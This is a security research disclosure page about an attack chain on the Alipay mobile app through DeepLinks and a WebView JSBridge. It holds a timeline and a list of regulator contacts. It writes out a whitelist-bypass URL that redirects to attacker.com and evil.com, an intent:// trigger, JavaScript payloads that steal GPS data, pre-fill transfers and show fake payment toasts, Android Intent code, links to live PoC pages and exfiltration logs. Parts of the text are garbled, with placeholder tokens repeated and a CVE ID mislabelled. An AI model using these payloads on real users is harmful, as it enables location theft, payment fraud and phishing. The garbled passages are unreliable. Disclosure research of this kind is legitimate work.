

Alipay SecurityGuard SDK: 36 CVEs, 146K Hot-Patch Hooks, Weak Crypto

Alipay SecurityGuard SDK: 36 CVEs, 146K Hot-Patch Hooks, Weak Crypto - Innora AI Security Research, Innora AI Security Research.

- Published: 2026-03-11
- Original: <<https://innora.ai/zfb/>>
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Content

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Alipay Security Research: 36 CVEs, SecurityGuard SDK Analysis | 00000000

□□□□: 2026-03-25Last updated: 2026-03-25

EN

□□□□□ Independent Security Research

DeepLink Alipay DeepLink Attack Surface Analysis

One Link to Rule Them All

Android/iOS DeepLink + WebView JSBridge attack chain on Alipay
End-to-end analysis of the DeepLink + WebView JSBridge attack chain on Alipay
Android/iOS latest versions. Reported through responsible disclosure to Ant Group. Vendor response: "normal functionality."

17

Verified Issues

308

Exfil Logs

3

Devices Tested

42

SecurityGuard SDK

208

API□□□□

97%

□□□□□□□

22

□□□□□□

29

□□□□□

1

DexAOP — 976 (17) (17) (12) (5) (9) (4)

1

[illegible]

1

396/408 — NFC 97%

1

PatchProxy — TLS

□ □□□□□□□□□ □ GitHub □□□□

Complete reverse engineering of Alipay's SecurityGuard SDK reveals massive data collection far beyond payment security requirements:

208

API Intercepts

97%

No Permission Check

22

Behavior Events



1

1

1

[Read Full Privacy Analysis](#) [GitHub Repository](#)

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□□□□ 4 □□□□ 4 Deleted Articles:

DELETED ██████████When Whitelist Bypass Becomes the Master Key

~~DELETED~~ 删除了内容Tech Giant's "Gag Order" Rejected by WeChat

[illegible]

DELETED ██████████ — ████████"████"██████████"██████" Alipay Research Hit with Lawyer's Letter

15:30

30



服务号



公众平台安全助手

17分钟前

关于文章被处理的通知

你好，接相关投诉，以下文章被判断为违反《中华人民共和国网络安全法》，已删除。

账号名称：AI-security-innora

文章标题：当白名单绕过沦为全网攻击的钥匙，傲慢的终点是法庭与溯源调查

处理时间：2026年03月15日

处理依据：相关法律法规

请遵守相关法律法规，让我们共创健康绿色的内容生态。



公众平台安全助手

17分钟前

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账号名称：AI-security-innora

文章标题：巨头的"封口令"被微信驳回，而全球顶级黑客弹药库给出了最终裁决

处理时间：2026年03月15日

处理依据：相关法律法规

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公众平台安全助手

17分钟前



公众平台女王助手

17 分钟前

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你好，接相关投诉，以下文章被判断为违反《中华

XXXXXXXXXX (1/2) WeChat deletion notice (1/2)

15:30

29



服务号



生态。



公众平台安全助手

17 分钟前

关于文章被处理的通知

你好，接相关投诉，以下文章被判断为违反《中华人民共和国网络安全法》，已删除。

账号名称：AI-security-innora

文章标题：位置被秒偷！10 多亿人每天在用的国民支付应用，17 个「正常功能」细思极恐！

处理时间：2026 年 03 月 15 日

处理依据：相关法律法规

请遵守相关法律法规，让我们共创健康绿色的内容生态。



公众平台安全助手

17 分钟前

关于文章被处理的通知

你好，接相关投诉，以下文章被判断为违反《中华人民共和国网络安全法》，已删除。

账号名称：AI-security-innora

文章标题：支付宝安全研究遭律师函投诉一篇零次提及"支付宝"的文章如何构成"商誉侵权"？

处理时间：2026 年 03 月 15 日

处理依据：相关法律法规

请遵守相关法律法规，让我们共创健康绿色的内容生态。

全部通知 >

如何提高购票成功率? 保姆级攻略



如何提高购票成功率? 保姆级攻略 (2/2) WeChat deletion notice (2/2)

⚠️ 如何提高购票成功率? 保姆级攻略 (CVSS 9.3) ⚠️ Key Finding: Whitelist Bypass — Remotely Exploitable by Anyone, No Permissions Required (CVSS 9.3)

1

Alipay 的 WebView 加载了 `ds.alipay.com` 的页面，该页面包含一个指向攻击者服务器的 URL。

2

攻击者通过该 URL 将用户重定向到攻击者控制的页面，该页面包含一个指向 WhatsApp 的链接。

3

17 攻击者通过该 URL 将用户重定向到攻击者控制的页面，该页面包含一个指向 GPS 定位服务的链接，UI 上显示为“定位服务”。

4

攻击者通过该 URL 将用户重定向到攻击者控制的页面，该页面包含一个指向“定位服务”的链接，该链接包含一个指向攻击者服务器的 URL。

// 攻击者服务器地址

`https://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067&url=https://attacker.com/payload.html`

5

This is the master key to the entire attack chain. Alipay uses a domain whitelist to restrict pages loadable in its WebView. However, its own domain `ds.alipay.com` has an open redirect vulnerability, allowing attackers to load arbitrary malicious pages through the whitelisted domain. **Without this bypass, other vulnerabilities are LAN-only; with it, anyone can attack remotely.**

6

No developer permissions required. No Alipay Open Platform registration, no Mini Program developer credentials, no approval process. An attacker simply crafts a URL and sends it via WeChat, WhatsApp, SMS, or any messaging app.

7

1

```
// Attack URL anyone can construct:
```

| **Field** | **Value** | | **Target** | com.eg.android.AlipayGphone v10.8.26.7000 /
v10.8.30.8000 | | **APK Size** | 210.5 MB (220,503,494 bytes) | | **Platform** | Android 16
(API 36) + iOS 26.3.1 | | * **Analysis Date** * | 2026-02-16 ~ 2026-03-07 | | * **Prerequisites** * | No root, no jailbreak, no special permissions. Victim only needs to click one link. | | * **Researcher** * | Innora AI Security Research ()(https://innora.ai/cdn-cgi/l/email-protection)) |

- **Disclosure Timeline**
- **Executive Summary**
- **Attack Chain Details**
- **PoC / Live PoC Demonstration**
- **Verified Security Issues**
- **Evidence**
- **Cross-Platform Verification**
- **iOS-Specific Risks**
- **Working Defenses**
- **Vendor Response & Discussion**
- **Remediation Recommendations**
- **User Self-Protection**
- **Community Questions & Responses**
- **Global Regulatory Response**
- **Legal Response**

[illegible]

We followed responsible disclosure principles throughout. Before any public discussion, full reports were submitted to Ant Group through multiple channels.

2026-02-16

开始 Alipay v10.8.30.8000 APK 静态分析 Started static analysis of Alipay v10.8.30.8000 APK

2026-02-25

报告 — TLS/SSL 问题 + 设备指纹识别(SRC)问题 报告 TLS/SSL 问题
DeepLink/JSBridge 问题 **First Report** — TLS/SSL MITM + device fingerprinting issues submitted via vendor's Security Response Center (SRC) *Note: This report covered TLS/SSL issues only; the DeepLink/JSBridge attack chain had not yet been discovered*

2026-03-06

AntSRC 回复 "安全问题" **AntSRC Reply:** "After review by our security engineers, [the issues] cannot be practically exploited"

2026-03-07 04:08

报告 — DeepLink+JSBridge 攻击链 8 个问题 2 CRITICAL + 4 HIGH
Second Report — DeepLink+JSBridge attack chain discovered, 8 issues (2 CRITICAL + 4 HIGH) sent to vendor security contact

2026-03-07 06:07

报告 **V3** — 17 个问题 + 308 服务器日志 + 42 截图 **Third Report (V3)** — Expanded to 17 issues including financial operation risks + 308 server logs + 42 screenshots

2026-03-07 07:54

报告 — 3 设备跨国家验证/网络/设备 **Fourth Report** — Full E2E external attack demo, 3 devices cross-country verification (NZ/MY/CN), with live reproduction URL

2026-03-07 12:33

收到 "安全问题报告" **Vendor Reply:** "Vulnerability report emails received, we will arrange someone to analyze ASAP and reply"

2026-03-07 14:25

报告 **15m 46s** — 报告 "安全问题" 报告 "安全问题" 报告 "安全问题"
报告 "安全问题" 报告 "安全问题" 报告 "安全问题" Xiaomi Redmi 12 测试 WiFi 测试 PoC 测试
192.168.80.12:8888 **WeChat Voice Call (15m 46s)** — Vendor security lead argued that "these features are designed to be open within LAN" and attempted to frame the attack surface as LAN-only. The lead implied: **"If you can bypass our whitelist, that would be serious."** All prior testing had indeed been on a local network (researcher's machine and Xiaomi Redmi 12 test phone on the same WiFi), with PoC pages hosted at 192.168.80.12:8888

2026-03-07 14:36

成功 — 2 分钟 — 成功绕过 2 个安全机制成功绕过安全机制 ds.alipay.com/?
scheme= (ds.alipay.com) 的 Alipay WebView 的 ?scheme= 参数接受任意 URL 并
重定向到 https://ds.alipay.com/?scheme=alipays://platformapi/startapp?
appId=20000067&url=https://evil.com/payload.html 的 URL 的 host 是白名单中的
"alipay.com"——成功绕过 Alipay WebView 的 JSBridge API **Whitelist Bypass — Completed in Under 2 Minutes** — Less than 2 minutes after the call ended, we bypassed the vendor's whitelist mechanism they believed was secure. Method: exploiting the ds.alipay.com/?scheme= open redirect parameter. The domain ds.alipay.com is itself whitelisted in Alipay's WebView, and its ?scheme= parameter accepts arbitrary URL redirects. An attacker can craft https://ds.alipay.com/?
scheme=alipays://platformapi/startapp?appId=20000067&url=https://evil.com/payload.html — the URL host is a whitelisted domain, but it actually loads the attacker's page. **This completely invalidated the "LAN-only" defense** — any page on the internet can use the whitelisted domain redirect to enter Alipay's WebView and invoke JSBridge APIs

2026-03-07 15:01

成功 PoC 成功 + 成功部署 7m 07s — 成功 PoC 成功 https://innora.ai/sec/trigger.html 成功
https://innora.ai/sec/verify.html 成功部署 **Public PoC Deployment + Second Voice Call (7m 07s)** — Deployed PoC to public internet at https://innora.ai/sec/trigger.html (trigger page) and https://innora.ai/sec/verify.html (payload page), sent to vendor security lead for verification. Proved the attack is fully viable over the internet, not limited to LAN

2026-03-07 15:09

成功 — iPhone 成功 — 成功绕过 iPhone 17 Pro Max 成功 GPS 成功
(30.3xxx, 120.1xxx) 成功 9.99m 成功 2xxGB 成功 80% 成功 iOS 成功 18 成功 JSBridge API 成功
成功 Android (13 成功) 成功 5 成功 API 成功 tradePay 成功 share 成功 getLocation 成功 scan 成功 chooseImage 成功
iOS 成功 tradePay 成功 getLocation 成功 Android 成功 API 成功 iOS 成功
成功 Android 成功 share API 成功 **Vendor Security Lead Tests — iPhone Connects from Hangzhou** — Server logs show iPhone 17 Pro Max connecting from Hangzhou (Alipay HQ city), GPS (30.3xxx, 120.1xxx) accuracy 9.99m. Device: 2xxGB storage, 80% battery. **Critical discovery: 18 JSBridge APIs available on iOS vs 13 on Android — 5 additional high-risk APIs: tradePay, share, getLocation, scan, chooseImage.** iOS tradePay (payment) and getLocation (GPS) can be invoked from external pages, while Android blocks them. This means **iOS attack surface is significantly larger than Android**, and the share API enables worm-like propagation

2026-03-07 15:28-17:03

V6 PoC + 成功 — 成功 V6 成功 PoC (1) 成功 GPS+成功 (2) 成功 (3) UI 成功 (4) 成功
成功 (5) share API 成功 iOS 成功——成功 iPhone 成功——
成功 "OK 成功" **V6 PoC + Multi-device Verification** — Created V6 PoC targeting high-impact vulns: (1) silent GPS+device fingerprint theft (2) payment redirection attack (3) phishing UI (4) sensitive page redirect chains (5) share API worm propagation (iOS). Test account banned due to risk control triggers; delegated to friend in New Zealand —

triggered successfully. Then verified with spouse's iPhone — also successful. Vendor replied "OK, let us analyze"

2026-03-08

00000000 — 000000000000 iPhone 16 Pro 000000000000 GPS 0000/00000000 GPS 000000 7
003 000000 17.4m 000 9.99m 00 8.81m locationReducedAccuracy: 0 000000000000000000
000000 iOS 0000000000 GPS 0000000000000000 **Vendor Second-round Verification** —
Security business lead conducted deeper testing in Hangzhou with iPhone 16 Pro. Zero GPS
authorization dialogs appeared throughout; GPS data transmitted within ~7 seconds of
page load. 3-round accuracy improved from 17.4m to 9.99m to 8.81m, with
locationReducedAccuracy: 0 (precise mode). This round further confirmed the iOS attack
surface discovered the previous day, and verified GPS exfiltration occurs with zero user
awareness

2026-03-09

Test account banned (risk control triggered during testing). Account unblock request sent.

2026-03-10

Vendor Final Response: "Based on our assessment, these are normal functionality"

2026-03-11 ~18:03

— Vendor contact confirmed "normal functionality" classification. We notified intent to publish. The contact used the colloquial term "ช่อง" (vulnerability) in conversation, suggesting internal awareness of the security nature of these findings

2026-03-11 18:16

Public Disclosure — After vendor explicitly refused to fix, research published

2026-03-11 22:45

Legal Complaint ** — Just 4 hours after publication, Beijing Geyun Law Firm
(representing the vendor) filed a "content infringing
reputation/goodwill/privacy/likeness" complaint against our WeChat article. The
irony: ****our article never once mentions "Alipay," "****" or "Ant Group"**
anywhere in the entire text. By filing this complaint, the complainant effectively self-
identified their client as the subject of the article. We have filed an appeal.

2026-03-12

CVE [CVE-2017-0006](#) — [MITRE CNA of Last Resort \(CNA-LR\)](#) [CVE-2017-0006](#) [DeepLink URL](#)
Scheme [CWE-939](#) (CVSS 9.1) [iOS GPS](#) — [CWE-359](#) (CVSS 7.4) [iOS](#)

tradePay 漏洞 (CWE-940, CVSS 8.6) ④ UI 欺骗 — showToast/setTitle 欺骗 (CWE-451, CVSS 8.1) ⑤ 指纹 + 权限状态 (CWE-200, CVSS 8.6) 漏洞 1 个 ⑥ ds.alipay.com 漏洞 (CWE-601+CWE-939, CVSS 9.3) — 利用 ds.alipay.com 的 ?scheme= 参数在 whitelisted domain 上执行 open redirect, 完全绕过 vendor 的 domain whitelist 保护。任何互联网托管的页面可以通过 whitelisted domain 进入 WebView 并调用所有 JSBridge APIs。此绕过是在 2 分钟内通过一次 live call 与 vendor 安全团队 Credit: Jiqiang Feng (Innora AI Security Research) 获得的 MITRE **CVE Submission (6 Vulnerabilities, Awaiting Confirmation)** — Since the vendor (Alibaba, a registered CNA: CNA-2017-0006) refused to acknowledge the vulnerabilities and declined to assign CVE IDs, we submitted 6 independent CVE requests in two batches through MITRE's CNA of Last Resort (CNA-LR) pathway: **Batch 1 (5 CVEs):** ① DeepLink URL Scheme Access Control Bypass (CWE-939, CVSS 9.1) ② iOS Silent GPS Exfiltration — No Authorization Prompt (CWE-359, CVSS 7.4) ③ iOS tradePay Unauthorized Payment Flow Invocation (CWE-940, CVSS 8.6) ④ UI Spoofing — showToast/setTitle Fake Alipay Interface (CWE-451, CVSS 8.1) ⑤ End-to-End Sensitive Data Exfiltration — Device Fingerprint + Permission States (CWE-200, CVSS 8.6) **Batch 2 (1 CVE):** ⑥ ds.alipay.com Open Redirect Whitelist Bypass (CWE-601+CWE-939, CVSS 9.3) — Exploits the ?scheme= parameter on whitelisted domain ds.alipay.com to perform an open redirect, completely bypassing the vendor's domain whitelist protection. Any internet-hosted page can chain through the whitelisted domain to enter WebView and invoke all JSBridge APIs. This bypass was achieved in under 2 minutes during a live call with the vendor security team Credit: Jiqiang Feng (Innora AI Security Research). Awaiting MITRE confirmation.

2026-03-12

漏洞 — 23 个金融监管机构, 13 个 national CERTs, 14 个 competitor security teams, and 50+ 国际媒体 outlets **Global Notification** — Vulnerability disclosure sent to 23 financial regulators, 13 national CERTs, 14 competitor security teams, and 50+ international media outlets

2026-03-12

新加坡 PDPC 正式调查 — 新加坡个人数据保护委员会 (PDPC) 确认开启正式调查 **Singapore PDPC Formal Investigation** — Singapore's Personal Data Protection Commission confirmed opening a formal investigation

2026-03-12

Google Play 调查 — Google Play 收到报告并确认调查 Google 回应 "We will investigate and take appropriate action" **Google Play Investigation** — Formal policy violation report submitted to Google Play (User Data, Permissions, Deceptive Behavior policies). Google confirmed: "We will investigate and take appropriate action"

2026-03-12

Apple Product Security 调查 — Apple 产品安全团队 (Brent) 确认调查 Apple 回应 "Your report was forwarded along to the appropriate team for investigation." Apple 正在调查 Alipay iOS 的 JSBridge 暴露的 tradePay, scan, chooseImage APIs **Apple Product Security Investigation** — Apple Product Security responded (Brent): "Your report was forwarded along to the appropriate team for investigation." Apple is investigating Alipay iOS JSBridge exposure of tradePay, scan, chooseImage APIs

2026-03-12

Packet Storm Security 發佈 — 發佈 Packet Storm Security 資訊 <http://packetstorm.news/files/id/217089> 標題 "Alipay Open Redirect / API Attacker Payload Insertion" **Packet Storm Security Publication** — Advisory officially published on Packet Storm Security (major global vulnerability database): <https://packetstorm.news/files/id/217089> Title: "Alipay Open Redirect / API Attacker Payload Insertion"

2026-03-12

HKCERT → CNCERT — 香港電腦緊急響應中心 (HKCERT) 確認將報告轉發給中國國家 CERT (CNCERT) **HKCERT → CNCERT** — Hong Kong CERT confirmed forwarding the report to China National CERT (CNCERT)

2026-03-12

(DNB) 發佈 — 荷蘭 CSSF 發佈 Alipay 關於 GDPR 第 32 條的正式響應 CERT-Luxembourg (CIRCL) 發佈 a CIRCL incident handler 發佈 Alipay 關於 **DNB Netherlands Formal Response** — Identified CSSF Luxembourg as Alipay Europe's Primary Supervisory Authority, provided GDPR Article 32 enforcement pathway. CERT-Luxembourg (CIRCL) incident handler a CIRCL incident handler confirmed locating appropriate Alipay European entity contact to forward the report

2026-03-15

CERT Polska 發佈 — 波蘭 CERT 接受 Ticket #554**57 **CERT Polska Accepted** — Poland national CERT accepted the case, began incident handling procedures, Ticket #554***57

2026-03-15

PCPD 發佈 — 香港個人資料保護委員會 **PCPD Hong Kong Privacy Commissioner** — Confirmed receipt, will follow up and respond

2026-03-15

AZOP 發佈 — 克羅地亞數據保護局 **AZOP Croatia Data Protection Agency** — Report received, being processed

2026-03-16

SingCERT/CSA 發佈 — 新加坡 CERT/CSA MITRE CVE **SingCERT/CSA Singapore** — Confirmed receipt of vulnerability report, advised to follow up with MITRE on CVE assignment

2026-03-16

HKMA 發佈 — 香港金融管理局 Alipay Financial Services (HK) Limited 關於 HKMA 的正式轉介 **HKMA Formal Referral** — Complaint formally referred to Alipay Financial Services (HK) Limited for follow-up. HKMA will monitor licensee handling and take appropriate actions as necessary

2026-03-16

DPC 發佈 — 愛爾蘭數據保護委員會 **DPA **DPC Ireland** — Case DPC032***957 opened, referred to local DPA due to jurisdiction

2026-03-16

ANSSI/CERT-FR 公告 — 公告内容: 公告内容 ANSSI/CERT-FR France — Formal response: app has limited French user base, no further action planned

2026-03-17

AP 公告 — 公告内容: 公告内容 Dutch DPA (Autoriteit Persoonsgegevens) — Formally received GDPR complaint

2026-03-17

FCA 公告 — 公告内容: 公告内容 2121**43 公告内容 **FCA UK — Reference 2121****43, information recorded and used in supervisory work with authorised firms

2026-03-17

DNB 公告 — 公告内容: 公告内容 DNB Netherlands Central Bank — Email received and being processed

2026-03-17

CVE 公告 — 公告内容: 公告内容 MITRE 公告内容 CVE 公告内容 Additional CVE Submission — New CVE application submitted to MITRE for additional security issues discovered in the Alipay application (details withheld pending assignment)

02 公告内容 Executive Summary

公告内容 alipays:// DeepLink scheme 公告内容 Nebula WebView 公告内容 JavaScript 公告内容 AlipayJSBridge API 公告内容

- 公告内容 GPS 公告内容 — 公告内容 getLocation 公告内容
- 公告内容 — 公告内容 OS/公告内容/WiFi/公告内容 30+ 公告内容
- 公告内容 UI 公告内容
- 公告内容 SDK 公告内容 — tradePay API 公告内容 UI 公告内容
- 公告内容 18 公告内容 — 公告内容
- 公告内容 — 公告内容 "公告内容 ¥5,000 公告内容 *公告内容 公告内容"
- 公告内容 "公告内容" — 公告内容
- 公告内容 — 公告内容
- 公告内容 — 公告内容 API

公告内容 Root 公告内容 QQ 公告内容

Alipay's alipays:// DeepLink scheme allows any third-party app or webpage to direct users into Alipay's Nebula WebView container, loading **attacker-controlled external web pages**. Once loaded, the attacker's JavaScript can call AlipayJSBridge APIs to perform dangerous operations:

- **Steal precise GPS location** — When location permission is already granted to Alipay, external pages calling getLocation get coordinates with no secondary consent dialog, sent directly to attacker server
- **Steal complete device fingerprint** — Brand/model/OS/storage/battery/Bluetooth/WiFi/permissions, 30+ fields

- **Open transfer page with pre-filled attacker account and amount** (final confirmation still requires user tap, but combined with UI spoofing can greatly reduce vigilance)
- **Trigger payment SDK to launch payment UI** — tradePay API invokes cashier (user must still confirm, but UI can be highly spoofed)
- **Navigate to 18 sensitive internal pages** — Transaction history, bank cards, credit score, withdrawal, family accounts, etc.
- **Display fake transfer notifications** — Forge "Transfer CNY 5,000 to Zhang*Ming completed" inside Alipay
- **Spoof title bar to "Security Center"** — Enhance phishing credibility
- **Redirect to Alipay login page** — Create perfect credential phishing entry point
- **Chain-load more malicious pages** — Each new page can call all APIs again

Attack prerequisites are minimal: **victim only needs to click one link**. No root, no jailbreak, no app installation required. The link can be distributed via SMS, WeChat, QQ, email, QR codes, or any other channel.

03 攻击链 Attack Chain Details

攻击链 A: WebView → JSBridge → 数据窃取 + 转账劫持 Chain A: Web Link → WebView → JSBridge → Data Theft + Transfer Hijacking

1

* 攻击者部署恶意页面 *

攻击者部署 HTTPS 恶意 PoC 页面 `https://innora.ai/zfb/poc/verify.html` 部署 PoC 页面 (e.g., `https://innora.ai/zfb/poc/verify.html`) 和数据收集端点 on any public HTTPS server

2

* 攻击者发送钓鱼链接给受害者 *

攻击者通过 QQ/微信等渠道发送消息 "恭喜你88红包" 发送链接 via SMS/WeChat/QQ. Victim clicks in mobile browser, sees social engineering page like "Congratulations! You won a ¥88 red packet"

Trigger URL

```
intent://platformapi/startapp?
appId=20000067&url=https%3A%2F%2Finnora.ai%2Fzfb%2Fpoc%2Fverify.html#Intent;scheme=alipa
ys;package=com.eg.android.AlipayGphone;end
```

3

* WebView 加载 Alipay WebView 外部页面 *

Chrome 通过 `intent://` scheme 加载 Nebula WebView 通过 AlipayJSBridge 调用 JSBridge API 触发 Alipay 支付

intent:// scheme. Alipay's Nebula WebView loads the attacker page. AlipayJSBridge is automatically injected. A "Continue to visit" warning appears (but does **NOT** inform the user that the external page will gain JSBridge API access).

4

* JavaScript Payload 执行 JavaScript Payload executes automatically *

JS 调用 AlipayJSBridge API 攻击者 JS 调用 AlipayJSBridge APIs:

```
// GPS 定位
AlipayJSBridge.call("getLocation", {}, function(result) {
  // result = {lat: "[lat]", lng: "[lng]", city: "[city]"}
  exfiltrate("GPS", result); // POST to attacker server
});

// 模拟转账
AlipayJSBridge.call("startApp", {
  appId: "09999988",
  param: {
    actionType: "toAccount",
    account: "[[email protected]](https://innora.ai/cdn-cgi/l/email-protection)",
    amount: "1000"
  }
});

// 模拟提示
AlipayJSBridge.call("toast", {
  content: "Transfer ¥5,000 to Zhang*Ming completed",
  type: "success",
  duration: 5000
});
```

5

* 数据泄露到攻击者服务器 Data exfiltrated to attacker server *

XHR POST + Image Beacon 结合 GPS 定位、设备信息、会话数据通过双通道 XHR POST + Image Beacon 泄露。308 完整日志记录。

DeepLink → Chain B: Zero-Interaction DeepLink → Sensitive Page Direct Exposure

DeepLink 触发 APP 内部敏感页面直接暴露

The following DeepLinks, when triggered from a browser or any third-party app, cause Alipay to navigate **without any additional warning** directly to sensitive function pages:

| appId | 目标页面 | 暴露数据 | | | 20000003 | 交易历史 | 完整消费记录 (items, amounts, categories) | | | 20000116 | 转账联系人 | 20+ 联系人的真实姓名、头像、转账金额 | | | 20000123 | 付款二维码 | 完整付款 QR + 真实姓名 | | | 20000032 | 余额宝 (Money Market) | ¥5.00 + 余额 ¥9,453.67 | 余额 ¥5.00 + 总资产 ¥9,453.67 | | | 20000180 | 总资产 | 完整资产概览 | | | 20000153 | 芝麻信用分 | 信用分 | | | 20000193 | 银行卡管理 | 关联银行卡信息 | | | 09999988 | 转账 | 转账前可预填攻击者账号和金额 | | | 20000033 | 提现 | 提现页面 | | | 20000221 | 家庭账户 | 家庭账户列表 | | | 68687023 | 花呗 (Credit) | 信用页面 | | | 10000007 | 扫码 | 触发摄像头权限 | |

触发方法

```
// From any app or browser:
Intent i = new Intent(Intent.ACTION_VIEW);
i.setData(Uri.parse("alipays://platformapi/startapp?appId=20000003"));
startActivity(i);
// Alipay opens transaction history directly. No warning.
```

03.5 PoC 直播 PoC 演示

以下 PoC 页面均已脱敏

Below are live PoC pages you can test (sanitized, no data collection):

Trigger PoC — 触发页面 — 模拟钓鱼入口

Android / Chrome 模拟钓鱼入口。在 Android 手机上安装 Alipay 后，在 Chrome 中打开以下 URL，将显示钓鱼页面，模拟攻击者通过 SMS/WeChat 发送的钓鱼页面。

URL

<https://innora.ai/zfb/poc/trigger.html>

JSBridge PoC — JSBridge PoC — 数据收集演示

WebView 加载 AlipayJSBridge API 时，当在 Alipay WebView 中加载时，演示了所有可通过 AlipayJSBridge API 访问的数据。

All data is displayed locally only, not sent to any server.

URL

<https://innora.ai/zfb/poc/verify.html>

触发方法

```
alipays://platformapi/startapp?appId=20000067&url=https://innora.ai/zfb/poc/verify.html
```

Chain WebView — Chain WebView — Chain Loading Demo

pushWindow JSBridge Proves that pages chain-loaded via pushWindow also receive full JSBridge access.

URL

<https://innora.ai/zfb/poc/chain.html>

04 Verified Security Issues

All issues below were verified end-to-end on real devices, with server logs and screenshots as evidence. Each finding includes verification status and evidence type.

CRITICAL

V-01: Transfer Page Pre-filled with Attacker Account

startApp API The startApp API allows external pages to open Alipay's transfer page with pre-filled recipient account and amount. The victim sees a transfer form already populated with the attacker's account. Final transfer still requires user confirmation, but combined with UI spoofing (V-08) and social engineering, the risk of user error is extremely high.

Server Log Evidence

```
{"tag": "f_startApp:(09999988)",
  "data": {"status": "ok", "result": {"success": true}}}
```

API: AlipayJSBridge.call("startApp", {appId:"09999988", param:{actionType:"toAccount", account:"[](https://innora.ai/cdn-cgi/l/email-protection)", amount:"1000"}})

CRITICAL

V-02: pushWindow DeepLinkpushWindow Executes Transfer DeepLink

pushWindow API alipays:// scheme DeepLink The pushWindow API allows external pages to execute transfer DeepLinks via the alipays:// scheme, passing attacker account and amount.

Server Log Evidence

```
{"tag": "f_pushWindow:transfer_scheme",
  "data": {"status": "ok", "result": {"success": "true"}}}
```

CRITICAL

V-03: `pushWindow` External Pages Open Alipay's Payment Cashier

External pages can open Alipay's payment cashier URL via `pushWindow`.

Server Log Evidence

```
{"tag": "f_pushWindow:cashier()",  
  "data": {"status": "ok", "result": {"success": "true"}}
```

CRITICAL

V-04: `tradePay` SDK Triggers Payment SDK

The `tradePay` API can be called from external pages, launching the Alipay payment UI. We tested 3 parameter formats, all successfully triggered (`resultCode=6001` means user manually cancelled, but the payment UI did appear).

Server Log Evidence

```
{"tag": "f_tradePay:full_orderStr",  
  "data": {"status": "ok", "result": {"resultCode": "6001"}}
```

CRITICAL

V-05: Full Data Exfiltration Chain (308 Log Entries)

JavaScript in external pages successfully exfiltrated GPS coordinates, device info, network info, session IDs via dual-channel XHR POST + Image Beacon to attacker server. Total: **308 complete log entries**.

HIGH

V-06: 18 Sensitive Internal Pages Navigable from External Page

Via the `startApp` API, external pages can navigate to 18 sensitive internal pages including transaction history, bank card management, credit score, withdrawal, and family accounts. All returned `success: true`.

HIGH

V-07: GPS Location Theft (No User Awareness)

`getLocation` API 在调用时，如果用户之前已经授予了位置权限，GPS 精度为 3 米。在 Android 和 iOS 14+ 设备上，当从外部页面调用 `getLocation` API 时，Alipay 显示 **no secondary consent dialog**，直接返回精确的 GPS 坐标。已在 3 台设备上验证（新西兰 Android、马来西亚 Android、杭州中国 iOS）。注意：iOS 14+ 的近似位置设置可能会影响精度。

GPS Data from 3 Devices

```
// Samsung S25 Ultra – Auckland, New Zealand
{"lat": "[redacted]", "lng": "[redacted]", "city": "[redacted]", "country": "[redacted]", "accuracy": 25}

// Redmi 23129RN51X – Penang, Malaysia
{"lat": "[redacted]", "lng": "[redacted]", "city": "[redacted]", "country": "[redacted]", "accuracy": 35}

// iPhone 16 Pro – Hangzhou, China (GPS精度/米)
// 3米精度: 17.4m → 8.8m locationReducedAccuracy: 0
{"lat": "[redacted]", "lng": "[redacted]", "city": "[redacted]"}
```

HIGH

V-08: UI Spoofing: Fake Transfer Notifications + Title Bar Spoofing

toast 消息 "转账 ¥5,000 到 张*明 完成" / "安全中心" / "红包领取"。Attacker can display arbitrary toast messages inside Alipay (e.g., "Transfer ¥5,000 to Zhang*Ming completed") and modify the title bar to "Security Center" / "Red Packet Claim." Combined with social engineering, victims cannot distinguish real from fake.

HIGH

V-09: OAuth Authorization Flow Hijacking

`getAuthCode` API 在调用时，如果用户之前已经授予了 OAuth 权限，则会触发 OAuth 服务器端调用。虽然未获得 auth code，但显示了一个 "Service busy, please try later" 弹窗，证明请求到达了 OAuth 服务器。

HIGH

V-10: Zero-Interaction Exposure of Yu'E Bao Balance and Transfer Contacts

DeepLink 直接打开余额宝页面，显示余额 ¥5.00 和总收益 ¥9,453.67。同时暴露了 20+ 个联系人。DeepLink directly opens Yu'E Bao page showing balance ¥5.00 and total earnings ¥9,453.67. Transfer contacts page exposes 20+ contacts' full real names. No additional confirmation required.

Complete Issue List

| ID | Issue | Severity | Verified | | V-01 | startApp pre-fills attacker account on transfer page | CRIT | 308 logs | | V-02 | pushWindow DeepLinkpushWindow executes transfer DeepLink | CRIT | 308 logs | | V-03 | pushWindow opens payment cashier | CRIT | 308 logs | | V-04 | tradePay SDKtradePay triggers payment SDK | CRIT | 308 logs | | V-05 | Full data exfiltration chain | CRIT | 308 logs | | V-06 | 18 sensitive pages navigable | HIGH | 42 screenshots | | V-07 | GPS location theft | HIGH | 3 devices | | V-08 | UI spoofing (toast + title bar) | HIGH | 308 logs | | V-09 | OAuth flow hijacking | HIGH | screenshot | | V-10 | Yu'E Bao balance + contact names exposed | HIGH | screenshot | | V-11 | Payment QR + real name exposure | HIGH | screenshot | | V-12 | pushWindow (WebView) redirects to login page (phishing) | HIGH | screenshot | | V-13 | Chain WebView attack | HIGH | 308 logs | | V-14 | Session info leakage | MED | 308 logs | | V-15 | Full device fingerprint exfiltration | MED | 308 logs | | V-16 | Network info leakage | MED | 308 logs | | V-17 | API permission map leakage | MED | 308 logs |

05 Evidence

Server-Side Exfiltration Logs

innora.ai WebView

Below are actual data received by the attacker server. These logs were recorded at the data collection endpoint on innora.ai , proving data was indeed exfiltrated from Alipay WebView to an external server.

GPS Location Data (Penang, Malaysia)

```

{
  "timestamp": "2026-03-07 11:53:51.599",
  "method": "POST",
  "path": "/exfil",
  "body": {
    "tag": "getLocation:GPS location",
    "data": {
      "status": "ok",
      "data": {
        "accuracy": 35,
        "city": "[]",
        "country": "[]",
        "latitude": "[[]]",
        "longitude": "[[]]"
      }
    }
  }
}

```

[] [] [] [] [] Redmi [] Full Device Fingerprint (Redmi)

```

{
  "tag": "getSystemInfo:Device info",
  "data": {
    "apiLevel": 36,
    "app": "alipay",
    "bluetoothEnabled": true,
    "brand": "Redmi",
    "cameraAuthorized": false,
    "currentBattery": "100%",
    "locationAuthorized": true,
    "model": "Xiaomi 23129RN51X",
    "platform": "Android",
    "screenHeight": 1650,
    "screenWidth": 720,
    "storage": "119 GB",
    "system": "16",
    "version": "10.8.26.7000",
    "wifiEnabled": true
  }
}

```

[] [] [] [] [] sessionId [] [] [] [] [] Session Parameter Leakage (incl. sessionId and source info)

```
{
  "tag": "getStartupParams",
  "data": {
    "sessionId": "session_20000067_22751",
    "startFromExternal": "true",
    "sourcePackageName": "com.android.chrome",
